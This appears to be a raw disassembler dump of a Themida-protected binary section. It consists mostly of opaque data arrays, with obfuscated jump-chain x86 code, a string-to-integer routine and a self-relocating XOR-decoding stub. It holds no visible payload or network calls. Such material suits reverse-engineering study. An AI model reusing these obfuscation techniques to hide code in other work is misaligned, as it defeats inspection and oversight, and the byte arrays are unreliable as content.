0DE806B08h, 0D1BF0FD2h dd 870FFF6Ah, 18h, 13E9h, 0CA343400h, 3332BCD0h, 330CFB73h dd 9B592125h, 69DFF329h, 0F8595FFh, 80520603h, 0B85AF8F3h dd 0 dd 1B299D8Bh, 0C00B0603h, 65840Fh, 0DE90000h, 0D0000000h dd 0A182437Ah, 8C8A392Ah, 68BEE922h, 68A0F50h, 89000000h dd 325D195h, 0BD835A06h, 6030CC9h, 38840F00h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8970C352h, 3261185h, 1D95FF06h, 0E906032Ah dd 0Bh, 6C1F562Eh, 2500D9F2h, 8B9341D0h, 301FD85h, 0C6D78B06h dd 952B0000h, 60317A1h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 9589CC93h, 60324B1h, 29D98C66h dd 30ADD95h, 4C1F606h, 73840Fh, 9D8B0000h, 60328CDh, 68E9h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0A0BA5F63h, 8B342D4Eh, 32F05B5h, 0E2816606h dd 0C681332Fh, 1180h, 1BD99D33h, 6C70603h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 1EC35747h dd 0A5D3C0Ah, 89D1DBB9h, 332698Dh, 6A5E06h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ABB689C3h dd 582F3846h, 83AF4E5Dh, 840F00F8h, 0B5Bh, 8BD88B66h, 1F883D9h dd 20C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1D0424h, 52420000h, 0ECB710C3h, 6D1A1F14h, 0E952A2AEh dd 10h, 1AE6CBFAh, 2522305Eh, 0CAA36F3Ah, 0BDB822F5h, 0B8h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 0F9F152AEh, 0AA4E1E89h, 9589B60Fh, 6030F31h dd 22A19501h, 0C00B0603h, 113840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F3CDBAC3h dd 2CD4B823h, 60B70669h, 0A918D0Bh, 0BD8B0603h, 6032501h dd 1F88361h, 106840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 9CCF4AC3h, 0B6C4BBCFh dd 890F024Ah, 6, 31198D29h, 0F8830603h, 63840F03h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 8FE7C353h, 8ECA81DAh, 2B168723h, 55006AC0h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 713A5FCCh, 8DEC7567h, 5B7974BDh, 0DD8D8900h, 0FF060321h dd 0BD2960E7h, 6031785h, 8061CB8Ah, 1B8FFEEh, 8B000000h dd 3201995h, 74BD8D06h, 89005B79h, 3220DBDh, 6AE7FF06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 7C5EC352h, 823147B8h, 44BD8D37h, 89060343h dd 32A61B5h, 325E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0B4379C3h, 4D1385C7h dd 50603h, 81660000h, 0B89C5BC3h, 5, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 42C35343h, 9E8h, 9149ED00h dd 68747169h, 9D8B002Eh, 6032A35h, 0E9D98B5Bh, 877h, 2E519D8Bh dd 0F8830603h, 44850F02h, 6A000001h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 0DC7FC351h dd 0A1198EA6h, 1C39B589h, 0B80603h, 8B000000h, 3025D9Dh dd 0FC00B06h, 0F684h, 5E900h, 0D33C0000h, 83F28597h, 840F01F8h dd 0FFFFFF58h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Dh, 0E8C35545h, 0DCBA1AFAh, 0CAE837D3h, 0D9D8B8Ch dd 83060328h, 840F03F8h, 0FFFFFEBAh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ah, 0E9C35747h, 49300B62h, 0B70F517Eh dd 6AC02BDBh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0AB3CC350h, 60CF1944h, 10899503h dd 0B50B0603h, 6030289h, 74BD8D61h, 6A005B79h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0B75BC353h, 437B2651h, 0BBC2C98Dh, 1F3A8DAFh, 0AC5958Bh dd 0E7FF0603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 99C35040h, 79BD8918h, 8D06032Ch, 3453CBDh, 81950906h dd 0E906031Fh, 16Bh, 83F9C380h, 850F03F8h, 63h, 46D0BD8Dh dd 6A0603h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0FF569C3h, 9C11D44Bh, 6800F69h, 9000000h dd 311159Dh, 125E906h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 925579C3h, 5209A7EDh dd 4DBB7BD2h, 8346A2F9h, 850F05F8h, 0Eh, 0B719D89h, 0A4E90603h dd 0F000006h, 0F883D6BFh, 50850F06h, 60000000h, 0A97D081h dd 85032E13h, 6033061h, 0C8BD8D61h, 89060348h, 32525BDh dd 0BDE906h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 10E96BC3h, 1B000000h, 9EEB779Dh dd 0EE6119CEh, 1C8ED385h, 83C8F72Dh, 850F07F8h, 38h, 1BC4CB81h dd 0BD8D25A6h, 6030D05h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F2C35646h, 0E3ADBED4h, 0B1E919h, 0B5290000h dd 6031145h, 0F0AF883h, 4285h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 6E8409A1h dd 17A1958Bh, 0B5090603h, 6032509h, 20B99D8Bh, 0BD8D0603h dd 6034AC0h, 0E9D38B66h, 3, 57D18B66h, 10799D89h, 6FB90603h dd 81516351h, 0CA23ECE3h, 3F8307h, 41840Fh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 0A522B0C3h, 8D01106Ch, 6033085h, 0CE800F30h, 8BC9D194h dd 0BD3147D1h, 603297Dh, 0FFFFBCE9h, 0CD9D8BFFh, 5F060328h dd 89DE8B66h, 34CBCBDh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 0A98D8916h, 8D06030Ch dd 31DA58Dh, 2840F06h, 0B3000000h, 0F1B5FFBAh, 6A060320h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 0AD1BC357h, 0E9CBA3FEh, 0D38B8FF5h, 14E9h dd 0E9A3E400h, 0A4B813FDh, 0D73A3D33h, 237C170Bh, 269493h dd 0C3858D28h, 500605A3h, 53C6BD8Dh, 8D8D0603h, 603701Fh dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 36F87B5h dd 378D8D06h, 2B060370h, 33A4F3CFh, 0B8C9h, 0C00B0000h dd 0BD834674h, 6030CC9h, 0FF067400h, 32A1D95h, 0BCB58B06h dd 8D06034Ch, 5A3C385h, 8DD0FF06h, 3412285h, 0C7D0FF06h dd 30A7185h, 106h, 0F1A58B00h, 8B060313h, 31B1DB5h, 61AD8B06h dd 33060304h, 0CC2C0h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0E2C35242h, 0A65E189Bh, 0BD8913E8h, 603236Dh dd 0BD83F38Ah, 6031BB1h, 0F840F00h, 80000000h, 95FF2EC3h dd 6031109h, 1D758501h, 0BD830603h, 6032E85h, 7F850F00h dd 0E9000001h, 0Bh, 57A954C5h, 2C5908E2h, 83C7667Ch, 31E91BDh dd 850F0106h, 162h, 83DBBF0Fh, 31BDDBDh, 840F0006h, 152h dd 2C99D0Bh, 0BD830603h, 6034D0Fh, 3F840F00h, 6A000001h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 6A63C357h, 70B6BB6Ah, 858D7750h, 605A3C3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 0E7C35747h dd 617763D9h, 8B5AF851h, 34CBCB5h, 299D8B06h, 8B060303h dd 313059Dh, 50D0FF06h, 78F38166h, 85C65A70h, 6032F39h dd 64F78054h, 4FD48168h, 0F98A5394h, 2434815Bh, 6B016A75h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 34C35141h dd 7E8h, 861AFE00h, 6F8938D0h, 59B5FF5Ah, 6A060313h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 9031C356h, 42EBEB12h, 637ECBD2h, 1CB5BD89h, 0BD310603h dd 6030109h, 38A7858Dh, 830F0603h dd 4, 0FBF9BA66h, 0EF80D0FFh, 8B006A9Fh, 31FF6ADAh, 33139B5h dd 66D0FF06h, 0FACEEB81h, 2215B5FFh, 6A0603h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B89D22C3h dd 128CDA3Eh, 0BD09CB6Fh, 6032901h, 20F195FFh, 0B58B0603h dd 6034CBCh, 6AC3DA8Bh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 518BC353h, 0A1E5D192h dd 8B52426Bh, 301FDB5h, 72BB6606h, 0FF60B4Ah, 2884h, 0C6DA8A00h dd 6A0006h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h dd 51410000h, 0B4CCABC3h, 0F38166h, 0C4858926h, 0F06034Ch dd 0C8Ah, 6810F00h, 0F000000h, 83h, 0F88300h, 2D5840Fh dd 9D8B0000h, 6031281h, 0B8h, 0D6BF0F00h, 0F00F883h, 0A884h dd 13E900h, 0FFF00000h, 1A22CFB0h, 2221EC92h, 0C0E21F2Ch dd 0F627EBCEh, 2F883F0h, 6D850Fh, 14B70000h, 433F858Dh dd 6A0603h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 31400DC3h, 0BB8CB9A5h, 9292DEEh, 0EE80000h dd 9F000000h, 12945FA6h, 7E9124A7h, 44A6C2E9h, 5AD780AAh dd 6651505Bh, 895ADF8Bh, 33522404h, 309E19Dh, 0E9C35B06h dd 0Fh, 3AA07A07h, 2C6653DCh, 0FDEC8EE3h, 0B8CD2C38h, 0 dd 0E9DFBF0Fh, 223h, 8E9h, 9D430B00h, 52C9FDEFh, 1B892h dd 8D010000h, 603225Dh, 0BD8D4CB3h, 6034344h, 3810Fh, 0DA800000h dd 0B8E952h, 9D8B0000h, 60317A9h, 0F02F883h, 4585h, 8BDA8B00h dd 32D159Dh, 3CBD8D06h, 0E9060345h, 9, 0C86599A8h, 8EFE27Ch dd 88E9BCh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 140424h, 51410000h, 0C380D6C3h, 3642BB22h, 0F8833793h dd 33850F03h, 66000000h, 8DE8B4BAh, 346D0BDh, 13E806h dd 0CB180000h, 8FB20A4Ch, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h dd 0E281666Eh, 0E95A5771h, 2Eh, 2CB19589h, 0F8830603h dd 1F850F05h, 0FC000000h, 86E9h, 14E900h, 0F9FD0000h, 0BAB6660Dh dd 8C5D36C0h, 7E7B539Fh, 2C6C4193h, 6A575741h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h dd 0B98EC351h, 5163516Fh, 3800Fh, 0B70F0000h, 3F83DFh dd 39840Fh, 93B60000h, 85290F30h, 6030FB1h, 6AC9D1h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h dd 2C9774C3h, 13F33D42h, 0DE8B6647h, 0FFFFC0E9h, 838EB6FFh dd 850F05F8h, 0C7h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0A5C35343h, 0D2FD4EFBh, 90B61ECh, 300199Dh dd 0D98C6606h, 0C1F6D18Ah, 3B850F04h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 622AC353h, 0E39E064Eh, 0B8C0h, 0DF800000h, 61E959h dd 0B5290000h, 6030361h, 31F58589h, 858B0603h, 60331DDh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 36C35646h dd 6606FD9Ah, 0FF08C2BAh, 50006AE0h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 7240B8EFh dd 0F753296h, 287h, 83DF8B00h, 320F1BDh, 850F0006h, 0BBh dd 10299D8Bh, 0E9500603h, 14h, 70A86539h, 8C3C4B17h, 593F954Ch dd 0EB96DDD9h, 6EF41E8Fh, 8B240489h, 30CCD9Dh, 8B665006h dd 85C65ADAh, 6032F39h, 24BB6645h, 0A9BB6674h, 26DB68B1h dd 870F663Dh, 11h, 9E8h, 7F76BA00h, 8905CF29h, 1FB35252h dd 2404815Ah, 2835428Eh, 35F28166h, 59B5FF35h, 0BA060313h dd 789CB95Fh, 38A7858Dh, 6A0603h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 5E4FBAC3h, 8BD0FF53h dd 0F18589D1h, 0E8060320h, 9, 4E3A7A21h, 86B61A4Eh, 21950164h dd 5B06032Ah, 25958B58h, 83060313h, 34D13BDh, 840F0006h dd 39h, 0F9A9BA66h, 2215B5FFh, 6A0603h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 190424h, 53430000h, 39814FC3h dd 8AC3CFB7h, 0F195FFFDh, 89060320h, 31139BDh, 0F88306h dd 0D6850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 798A74C3h, 0BE943h, 35C90000h, 3E859BB5h dd 5F67AB1Dh, 0E1958B6Fh, 8306031Bh, 33059BDh, 840F0006h dd 38h, 0B5FFD38Bh, 6033059h, 0BC03BFBBh, 1B87Ah, 0FE80000h dd 1A000000h, 0AEB1084Ah, 0A8E747BEh, 0BB5C5462h, 85311E9Eh dd 60303F9h, 1ACE95Bh, 8D890000h, 6030255h, 2215B5FFh dd 0E6800603h, 15B5FF53h, 0E9060322h, 9, 84D1239Ah, 1901D176h dd 0F1B5FFA2h, 6A060320h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1A042444h, 41000000h, 2897C351h, 3453160h dd 0B589609Eh, 6030F2Dh, 4456BA66h, 150E961h, 958B0000h dd 6030C71h, 0C890F5Fh, 0F000000h, 688h, 840F00h, 83000000h dd 31AE1BDh, 850F0006h, 7Dh, 45B86660h, 870F61ECh, 6, 2C459D89h dd 85C60603h, 6032F39h, 319D8B4Dh, 6806031Fh, 0B3B7698Fh dd 3481DA8Bh, 821F2724h, 0C1958B17h, 0FF06031Bh, 32D11B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C9373A1Dh, 6BE22074h, 0F59BD29h, 858D0603h dd 60338A7h, 0FAAABB66h, 8B66D0FFh, 0E18589D6h, 8906031Ah dd 323AD8Dh, 0B806h, 95890000h, 60324E9h, 4CBCBD89h, 0BD890603h dd 60326BDh, 840FC00Bh, 34h, 88E9FCh, 6A0000h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 800F63C3h, 6, 1CA18529h, 0B5310603h, 60330EDh, 20F1B5FFh dd 0ECBB0603h, 8D6FD792h, 5A3C385h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1704h, 0C3504000h, 85388CE8h dd 38A0Fh, 8B660000h, 8E8DEh, 1F9D0000h, 0BE34C82Dh, 8D89968Dh dd 6031B89h, 0B650905Bh, 66505B0Ch, 90A987BAh, 5650D48Ah dd 53C6BD8Dh, 8D8D0603h, 6037903h, 8323BCB8h, 30CF2B74h dd 47C8D007h, 5EF87549h, 59BD8358h, 60330h, 8D8B0674h dd 6030111h, 0B8C933h, 0B000000h, 99840FC0h, 83000000h dd 30CC9BDh, 6740006h, 2A1D95FFh, 0B80603h, 0B000000h dd 830975C0h, 34CC4BDh, 9740106h, 4CC4BD83h, 75020603h dd 0BCB58B0Eh, 8D06034Ch, 5A3C385h, 8DD0FF06h, 3412285h dd 83D0FF06h, 32C69BDh, 2F750206h, 13F1A58Bh, 858B0603h dd 6033059h, 0C7240489h, 30A7185h, 106h, 0C0B58B00h, 8B06034Ch dd 30461ADh, 1B806h, 0CC20000h, 0C700EB00h, 30A7185h, 106h dd 0F1A58B00h, 8B060313h, 31B1DB5h, 61AD8B06h, 33060304h dd 0CC2C0h, 1BB1BD83h, 74000603h, 9BD830Fh, 60311h, 95FF0674h dd 6031109h, 4CBCB58Bh, 89C30603h, 330D995h, 0EBA6606h dd 7D958B16h, 2B06030Ah, 50006AD2h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 344C1DF9h, 0F0BEC122h dd 0E0DB8166h db 8Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5436A1 ; --------------------------------------------------------------------------- loc_54369F: ; CODE XREF: Themida_:005436A4j inc eax inc edi loc_5436A1: ; CODE XREF: Themida_:0054369Dj cmp byte ptr [edi], 0 jnz short loc_54369F xor ecx, ecx mov edi, [ebp+8] jmp short loc_5436D0 ; --------------------------------------------------------------------------- loc_5436AD: ; CODE XREF: Themida_:005436D2j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5436C5 ; --------------------------------------------------------------------------- loc_5436C2: ; CODE XREF: Themida_:005436C8j mul ebx dec esi loc_5436C5: ; CODE XREF: Themida_:005436C0j cmp esi, 0 ja short loc_5436C2 pop ebx add ecx, eax pop eax inc edi dec eax loc_5436D0: ; CODE XREF: Themida_:005436ABj or eax, eax jnz short loc_5436AD mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 8960h dd 3106595h, 11858B06h, 6106031Ah, 80DFB70Fh db 0C7h, 31h ; --------------------------------------------------------------------------- loc_5436F2: ; CODE XREF: Themida_:loc_54098Bj mov eax, ecx jmp loc_5655FD ; --------------------------------------------------------------------------- dd offset byte_5AB47F dd offset byte_5AAF8D db 68h, 0FFh, 12h dd 0 dd 5AB47F00h, 59003F00h, 59002802h, 24602h, 200h, 100h dd 400h, 50BC7400h, 0FAh, 4 dup(0) dd 547CDE00h, 54BB4200h, 5473C400h, 54C52D00h, 54840A00h dd 54573B00h, 54F43200h, 54729D00h, 549E0A00h, 54C26600h dd 544F8D00h, 54807700h, 544BD600h, 54694400h, 54944800h dd 54C93F00h, 54C39F00h, 549D6500h, 54AC5F00h, 546A7600h dd 54568700h, 548E3F00h, 54DCBF00h, 544B8000h, 54D87800h dd 54597700h, 54DC3A00h, 54451200h, 54C49000h, 54407F00h dd 54D14700h, 54ED3000h, 547BED00h, 54E4BF00h, 5484F300h dd 5449C600h, 54EC8500h, 54D4C100h, 54ACCC00h, 54E26200h dd 54E9AB00h, 5466CD00h, 543B0B00h, 54F01D00h, 548F9E00h dd 54C58500h, 54C4DD00h, 54F33400h, 54D60B00h, 5462D700h dd 54FB2500h, 54913400h, 54B3CF00h, 54439C00h, 54C3CA00h dd 54883800h, 54B7DC00h, 54649800h, 543F7300h, 54DCFD00h dd 5464A300h, 54E56F00h, 54C3F000h, 549FD800h, 54F57D00h dd 5479E200h, 54F5CF00h, 549F3400h, 54F6E700h, 544B9700h dd 54DB4600h, 54510400h, 54C28D00h, 54D7B000h, 545FF300h dd 54C84D00h, 54592E00h, 54CF7700h, 54AAD800h, 54880B00h dd 54AFD200h, 548E0700h, 543AC300h, 54BBEF00h, 548AF300h dd 54774800h, 54DCDF00h, 54650300h, 54BF5B00h, 547AB200h dd 54D70700h, 54524100h, 54AF5800h, 54B83B00h, 5468F000h dd 54C18000h, 5457A200h, 54F82C00h, 5442C600h, 54723300h dd 543A3E00h, 548D6E00h, 54F73200h, 5461A700h, 54946100h dd 54EBA600h, 54F64A00h, 54DE8400h, 54533B00h, 54BE7200h dd 54B3F100h, 54C73400h, 5478EA00h, 54C10800h, 54764800h dd 54605D00h, 54ECA600h, 549C9400h, 54685900h, 54E7D400h dd 54AE5E00h, 54C8FC00h, 548C9F00h, 543C3F00h, 54954E00h dd 5489EA00h, 5485E800h, 54808A00h, 54691500h, 5492BC00h dd 54406300h, 54909200h, 545D2100h, 54BA4700h, 54F0DB00h dd 54607D00h, 54415E00h, 54583900h, 54EBC800h, 547C7200h dd 54A44000h, 545A6C00h, 54980300h, 54860B00h, 544F6C00h dd 54C6B800h, 54BCBD00h, 546F0200h, 544A9B00h, 54D13300h dd 543B4600h, 54B5AD00h, 544BAE00h, 54B74100h, 54A48D00h dd 545BAE00h, 54F95800h, 547ACF00h, 547A3500h, 54C47B00h dd 54B2B300h, 547F1D00h, 54994000h, 54A06500h, 54717F00h dd 54641F00h, 545CC600h db 0 ; --------------------------------------------------------------------------- loc_5439D9: ; CODE XREF: Themida_:00576320j ; Themida_:005921F1j ... pusha pushf cld call $+5 pop edi sub edi, 6037D6Dh mov eax, edi add edi, 6037A85h cmp eax, [edi+2Ch] jnz short loc_5439F7 jmp short loc_543A0A ; --------------------------------------------------------------------------- loc_5439F7: ; CODE XREF: Themida_:005439F3j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_543A06 ; --------------------------------------------------------------------------- loc_543A01: ; CODE XREF: Themida_:00543A08j add [edi+ecx*4+40h], eax dec ecx loc_543A06: ; CODE XREF: Themida_:005439FFj or ecx, ecx jnz short loc_543A01 loc_543A0A: ; CODE XREF: Themida_:005439F5j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_543A17: ; CODE XREF: Themida_:00543A1Ej xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_543A17 loc_543A20: ; CODE XREF: Themida_:005458E8j ; Themida_:loc_545BD3j ... lodsb xor al, bl push edx jmp loc_549D8D ; --------------------------------------------------------------------------- aQsz db '·q釱',0 align 10h a341434S_ db '34$14$34$é_´',0 align 2 dw 0FF64h dd 0FFDAE932h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_543A46: ; CODE XREF: Themida_:005499CDj mov [esp], ebp mov ebp, 4 jmp loc_545EF8 ; --------------------------------------------------------------------------- db 83h dd 0BF5704C4h, 0E2F73A5h, 2CF1E947h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543A62: ; CODE XREF: Themida_:0054BEE7j mov [esp], ecx push 4 pop ecx push ebx mov ebx, 0BDE6998h and ebx, 7EB70256h not ebx jmp loc_547838 ; --------------------------------------------------------------------------- loc_543A7E: ; CODE XREF: Themida_:0054B062j mov ebp, [esp] add esp, 4 jmp loc_546F8B ; --------------------------------------------------------------------------- dd 5024B850h, 442904F5h, 8B580824h, 0C4E92404h db 0B8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_543A9F: ; CODE XREF: Themida_:00546B25j add edx, edi add edx, 18E43009h pop edi xchg edx, [esp] pop esp jmp loc_54C0A2 ; --------------------------------------------------------------------------- db 59h, 33h, 14h dd 24143124h, 8B241433h, 0FBE92424h, 0AD000091h, 956AE9h dd 0E9D72900h, 7CA7h, 50665A66h, 64F0B866h, 0E9C23166h dd 6ADCh, 50241C8Bh, 0BE56E089h, 4, 55EF001h, 4, 5C240487h dd 8B240487h, 0E1F72424h, 83CAE9h db 0 ; --------------------------------------------------------------------------- loc_543B05: ; CODE XREF: Themida_:0054F669j pop esp jmp loc_54955C ; --------------------------------------------------------------------------- db 66h dd 83240C8Bh, 76E904ECh, 3300004Fh, 248B2434h, 4F3AE924h dd 815D0000h, 553874CDh, 631AE93Ch, 0D3F70000h, 0EB81DBF7h dd 1A7663Ah, 815BDA01h, 2390BEC2h, 52CE97Dh, 0C8B0000h dd 9B55E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543B4E: ; CODE XREF: Themida_:00547923j pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp xor ecx, 2FB0367Ch push 6BFAh jmp loc_547959 ; --------------------------------------------------------------------------- aFqsG db 'fQ霃',0 db 0 ; --------------------------------------------------------------------------- loc_543B73: ; CODE XREF: Themida_:0054E625j add esp, 4 jmp loc_54C82E ; --------------------------------------------------------------------------- dw 895Ch dd 0B050241Ch, 4EC83DFh, 0E9240C89h, 8C61h ; --------------------------------------------------------------------------- loc_543B90: ; CODE XREF: Themida_:00545085j mov [esp], edx sub dword ptr [esp], 18263F72h pop eax add eax, 18263F72h pop edx sub esp, 4 mov [esp], ebp push edx push 535449E2h pop edx jmp loc_54BC81 ; --------------------------------------------------------------------------- db 53h dd 0DBE9h, 0CEF58000h, 8059EA30h, 9FE9B5F2h, 8100005Ah dd 0DA7F9AEFh, 5E7C161h, 4EB3E781h, 0EF814CF2h, 0FFFFFFFFh dd 1232E9h, 5FF80100h, 8704E883h, 895C2404h, 2BE2434h dd 1000000h, 3C875EF7h, 24248B24h, 0BC14E9h, 24343300h dd 0E9243431h, 2408h, 8102EAC1h, 0D8FE31EAh, 5AD301C6h dd 5EADBA52h, 0D30139D8h, 55ADE9h, 0E9526600h, 3209h ; --------------------------------------------------------------------------- loc_543C2C: ; CODE XREF: Themida_:0054A8F0j xor eax, [esp] jmp loc_546BC4 ; --------------------------------------------------------------------------- dd 691EBD55h, 0C6E962ADh, 0FF0000A7h, 0E9592434h, 121h dd 59B5ED81h, 0EAE9DD17h, 68000050h, 3E0Ah, 56241C89h dd 0EE5BB9BEh, 5EF38949h, 156CEB81h, 0B2E9E108h, 0B800002Dh dd 3D755112h, 48BC221h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_545248 ; --------------------------------------------------------------------------- loc_543C87: ; CODE XREF: Themida_:0054CAC8j push 0D71h mov [esp], edx jmp loc_544520 ; --------------------------------------------------------------------------- dd 71B201B7h, 41C4E9h, 4EA8100h, 87000000h, 895C2414h dd 0A6B82404h, 1015A3Ch, 0BD5558C3h, 19530476h, 5E9DDF7h dd 8B000066h, 9AE92424h, 5500000Fh, 30BB0BDh, 4E6FE977h dd 0C7830000h, 243C8704h, 20DDE9h, 4BF00h, 0EE810000h dd 5AFE0AA8h, 0C681FE01h, 5AFE0AA8h, 4C6815Fh, 33000000h dd 34312434h, 24343324h, 6824248Bh, 12D5h, 0E9241489h dd 8372h, 7355C281h, 0D6E97690h, 66000028h, 0E9240C89h dd 0FFFFFCFCh, 8324348Bh, 0C78104C4h, 4, 372E68h, 243C8900h dd 42474FFh, 6B45E9h, 0E1895100h, 4C181h, 27E90000h, 89000016h dd 6EBB241Ch, 2921CE44h, 1585BDAh, 47BE56C2h, 57327A61h dd 76B6E9h, 4EC8300h, 0E9240C89h, 1F58h, 5AD4EF81h, 535E64FAh dd 2BBh, 5BDF0100h, 31243C33h, 3CE9243Ch, 29000021h, 79E95DEEh dd 81000093h, 27778EDh, 1B57E945h, 0C1810000h, 3A4F4C2Ah dd 8159CA29h, 494CC2F2h, 7036E91Bh, 89500000h, 405E0h dd 0C0830000h, 5E3E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543DC6: ; CODE XREF: Themida_:00545AA2j xor esi, 0F8FDA92Ch add ebx, esi pop esi mov ebp, ebx pop ebx and eax, ebp jmp loc_54D9A8 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 4BEh, 5EF18900h, 0E959CE29h, 7F9Ch, 0FFFC2FE9h, 70AB68FFh dd 0F75E612Bh, 0EED146D6h, 1179B951h, 0C9815073h, 22834878h dd 81D9F749h, 1C521C1h, 0E9CE2977h, 0A20Fh ; --------------------------------------------------------------------------- loc_543E18: ; CODE XREF: Themida_:005495C4j add ebx, ecx push ebp jmp loc_5458C1 ; --------------------------------------------------------------------------- loc_543E20: ; CODE XREF: Themida_:0054541Cj not dword ptr [esp] pop edx sub edx, 0CBC48F85h jmp loc_54CAA1 ; --------------------------------------------------------------------------- loc_543E2F: ; CODE XREF: Themida_:00548FFDj mov [esp], ecx sub esp, 4 mov [esp], esi mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ecx xor dword ptr [esp], 69365607h pop ebx xor ebx, 69365607h pop ecx mov edi, ebx push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_54EE84 ; --------------------------------------------------------------------------- db 0C1h dd 0EDC107EDh, 0FCC58103h, 8941EDBEh, 0BF575DEAh, 41FE674Ch dd 253BEA81h, 0DBE922A4h, 810000B7h, 4ECh, 8B11E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_543E9E: ; CODE XREF: Themida_:0054F477j push eax add dword ptr [esp], 36A91B3Bh jmp loc_54CD4B ; --------------------------------------------------------------------------- loc_543EAB: ; CODE XREF: Themida_:005448CDj sub edi, 411C0943h add edi, 381628DCh sub edi, eax sub edi, 381628DCh add edi, 411C0943h pop eax sub edi, 0BDA3939Ch and eax, edi push dword ptr [esp] pop edi sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_54E43D ; --------------------------------------------------------------------------- dd 4C681h, 13E90000h, 8800006Ch, 24048BC3h, 0E9E38953h dd 4308h, 